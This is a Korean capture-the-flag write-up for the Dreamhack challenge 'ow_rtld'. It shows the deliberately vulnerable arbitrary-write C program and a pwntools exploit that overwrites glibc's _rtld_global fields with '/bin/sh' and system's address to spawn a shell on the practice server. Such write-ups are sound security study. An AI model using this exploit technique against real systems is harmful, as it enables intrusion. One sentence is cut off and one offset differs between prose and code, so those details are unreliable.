우왓 모든 보호기법이 다 걸려있다.
// Name: ow_rtld.c
// Compile: gcc -o ow_rtld ow_rtld.c
#include <stdio.h>
#include <stdlib.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
long addr;
long data;
int idx;
init();
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("addr: ");
scanf("%ld", &addr);
printf("data: ");
scanf("%ld", &data);
*(long long *)addr = data;
break;
default:
return 0;
}
}
return 0;
}
우음... 음.......... 원하는 주소의 값을 바꿔주는 것 이외로는 공격할 수 있는 방법이 없다.
이 때 우리는 rtld라는 영역을 참조할 수 있다.
https://aidencom.tistory.com/158 자세한 내용은 여기서 설명받을 수 있다.
_dlfinish 함수에서 dl_load_lock_recursive를 함수로, _dl
각각의 오프셋이 _rtld_global을 기준으로 2312, 3848인 것을 확인하였다.
from pwn import *
p = remote('host3.dreamhack.games',21177)
#p = process('./ow_rtld')
e = ELF('./ow_rtld')
stdout_offset = 0x3ec760
system_offset = 0x4f550
ld_offset = 0x3f1000
rtld_global_offset = 0x22a060
p.recvuntil(b'stdout: ')
stdout_addr = int(p.recvline()[:-1],16)
libc_base = stdout_addr - stdout_offset
system = libc_base + system_offset
rtld = libc_base + ld_offset + rtld_global_offset
p.sendline(str(1))
p.sendlineafter(b'addr: ',str(rtld+2312))
p.sendlineafter(b'data: ',str(u64('/bin/sh\x00')))
p.sendline(str(1))
p.sendlineafter(b'addr: ',str(rtld+3840))
p.sendlineafter(b'data: ',str(system))
p.sendline(str(2))
p.interactive()